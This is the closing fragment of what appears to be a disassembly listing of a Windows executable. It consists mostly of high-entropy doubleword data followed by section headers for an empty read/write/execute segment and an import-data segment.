7318C6D7h, 0F2431A02h, 0C2D5A8F5h dd 0F57013BAh, 0BF3D1ED6h, 0D4FBB7C2h, 2063AB07h, 7E46A6A8h dd 0CE748A2Ch, 5C533E97h, 0D015F6E5h, 875863A7h, 5E2C0CCFh dd 0F413F19Fh, 0A0466D10h, 0E3316D11h, 327EE9D4h, 1B11A24Fh dd 66AD365Ah, 588B6AFFh, 0A464FC3Ah, 0CCFDF4C7h, 2BF82B45h dd 1C111B9h, 0E5AC5494h, 0B64FCEF3h, 0B3CEC3DEh, 0BFE91BB5h dd 0BAB0960Dh, 8F993878h dd 5EE825B9h, 59A40BD3h, 0D0D35383h, 725A6783h, 0DBEA45E4h dd 1F0A7DA5h, 62EFC19Dh, 5369F789h, 0EBF3054Ch, 9052E55Dh dd 3E7DC691h, 65158E0Eh, 3E48D152h, 0B17D6629h, 0F7CBA13Bh dd 20BECEAAh, 0A046CF14h, 29F6EACDh, 42E6C019h, 9AD84E3Eh dd 58A148D2h, 16EC5FCCh, 0AF0BCB80h, 7E0BF5A6h, 9488A263h dd 0B5E6B86Ch, 800BB173h, 0D30285C4h, 9B77CAC7h, 0AA4B0F56h dd 52AF6EB2h, 39FFFCB3h, 518F9398h, 33C45809h, 5EBC442Ch dd 1D36A521h, 0ECF66163h, 0C678114Bh, 0B33BBF7Ah, 0F0747C44h dd 25679279h, 5A703D22h, 7AE5DF30h, 1B0DFD22h, 834F88D6h dd 0ACD6024h, 0A1FF70DAh, 0A57E3D6Fh, 1E5AD208h, 0D2635E4Ah dd 681799CEh, 37B5B27Eh, 0FD51843Ch, 963C1E61h, 2F289A9Ch dd 0DA3E5AD3h, 0DF00024Fh, 20EBA76Ch, 0C3B1B15Ah, 4B9C51CDh dd 0D8005124h, 7096BBA9h, 90144881h, 0E9F3C6EAh, 0D6923278h dd 0B2A1F07Bh, 87BDC4F0h, 0FD2A20D7h, 4913B15Ah, 3057000Ch dd 14F3D516h, 0EA305721h, 84AA20B5h, 3427F776h, 7C80C5EEh dd 6FA42BD9h, 754C41FAh, 0B5910768h, 0A6CC1A5h, 0A43FC60Dh dd 80582405h, 0A99EF15Ch, 0BA697D8h, 3F977DC5h, 1BF4C304h dd 241A2DEEh, 0CE62B3AEh, 0B91F89E5h, 338C9CBh, 0EA03C602h dd 0DE788325h, 37BF9E31h, 269A144Bh, 9DD3D810h, 819554F3h dd 0ED00004Eh, 5746D9Eh, 32D65934h, 0FB3C27BEh, 4DC74FA0h dd 0B2AB99A7h, 108D82DFh, 5011DD6h, 659EA741h, 7A82630Bh dd 0ED108343h, 9256376Bh, 737B190Dh, 0DAF199BEh, 2E7627E1h dd 0DE1122B7h, 0CE90F2BAh, 0D843B643h, 67E76ADFh, 45098EF9h dd 19508F9Dh, 327D8B8Fh, 940433FBh, 708FDB60h, 6FE30794h dd 89D3F204h, 4253F872h, 89D9CCF7h, 9B93E0FBh, 991A8258h dd 0C0BA7BF8h, 697334A0h, 4139BD9Bh, 6632388Ch, 54E86DA6h dd 0C7AFA6F7h, 0FB31096h, 687B2BD9h, 63C628E7h, 6D172B4Ch dd 0F052C45Eh, 0C0423BA0h, 0A8E55A6Ch, 5ED7E68Ch, 3C47F59Eh dd 6834C15Bh, 61F3B61Bh, 1237D139h, 0E0179C31h, 5DCA4289h dd 7D28A5F9h, 9D026750h, 9D073D09h, 0D6BF18A6h, 0D1B3F528h dd 0E3F75143h, 27909A2Ah, 72772A13h, 453489C6h, 0C9421BDFh dd 62CE648Fh, 66799409h, 31E0AEAh, 62DDE248h, 8CEEE725h dd 0AED7618Bh, 0A731958Fh, 1E1106DBh, 6F9FBFAFh, 3EA33155h dd 74E96D81h, 0FED4D52Ch, 8F8383C1h, 2F5DEDC8h, 7EECA954h dd 0C54A42E9h, 5B9D76AAh, 0F5637BE0h, 0DB77E94Dh, 21298CD5h dd 60C53D64h, 8A616621h, 0D7D4FE59h, 0E12FF9B1h, 72138486h dd 9DC19485h, 21C6A1F5h, 258E7F30h, 0E450B933h, 0C71DF572h dd 0F6FC1E28h, 886270E1h, 0B36BB70Ch, 0B7AB33A2h, 607E0866h dd 591B372Ah, 0B7E2741Bh, 63B15E1Bh, 521EE58Ch, 0C2EDF92Ah dd 0D337B4C8h, 38F2A118h, 0E9E7E5CAh, 14854B5h, 265EB9C9h dd 4C21F1FEh, 95938896h, 8D3CFE40h, 382CF10Eh, 8B4CBC4Dh dd 44F05797h, 52F388CBh, 31CAAAB3h, 0E7539887h, 9C5C8D9Bh dd 0D81FFCDCh, 0FE23BBF2h, 8D51F52Ch, 262BCC83h, 79629B65h dd 8E523C10h, 0E12CE9Fh, 7C1DCC34h, 8BC983BBh, 0F517314Eh dd 927F5422h, 7DCB0A87h, 95376783h, 0A74339DAh, 0B0FA3B7h dd 7B1C763Bh, 7DD339A0h, 0A12B44BFh, 5F377121h, 6AAD29E2h dd 0B87EDB27h, 9B123ED2h, 9DDABCC3h, 13470DD2h, 7B3BD44Dh dd 39A1BDA7h, 2EBD7B9Eh, 414D9418h, 0EAA6FA58h, 3A53BB7Ch dd 0FBEE4F3Bh, 0F12D655Fh, 485F258Dh, 0A7E4392Ch, 0AC3D3396h dd 89CC0DECh, 267FDB22h, 9C3F71Eh, 0CBA4291Ah, 0FB01AB88h dd 97050A2Ch, 8E802536h, 0FDC1EE85h, 2F2A76Dh, 5B42A992h dd 43400CC3h, 2B3CA9E0h, 479A5D3Bh, 125378FBh, 3F26C473h dd 0B73D986Dh, 9A28CCE6h, 6C87A3BDh, 0D5CBE53Ch, 0A9D9C392h dd 1E764CA7h, 57D579D0h, 0C2AA3055h, 0E285ADD3h, 767A37EAh dd 304D1BBAh, 618E451Ch, 4B8201B8h, 0FEB49E42h, 0F47F2983h dd 0D3065211h, 5240C3h, 0F09CF852h, 72F677A2h, 3CD1C1BAh dd 87237B5Eh, 9B17D0C3h, 73A2B9F0h, 0E255EAA0h, 0FE41F6CAh dd 93E27536h, 0F1493496h, 6F05C233h, 4B89E313h, 0DC07AE29h dd 49F66EFAh, 13D88CC0h, 47D40BFAh, 214766F3h, 626FDFB8h dd 0B9BA8764h, 0F56A7EEBh, 0DB8F5CB1h, 0E49AA186h, 3CF59FF3h dd 0B1704AE9h, 280h dup(0) _data ends ; Section 5. (virtual address 000FC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000FC000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 4FC000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 400h dup(0) _adata ends ; Section 6. (virtual address 000FD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000FD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4FD000h align 2000h _idata2 ends end start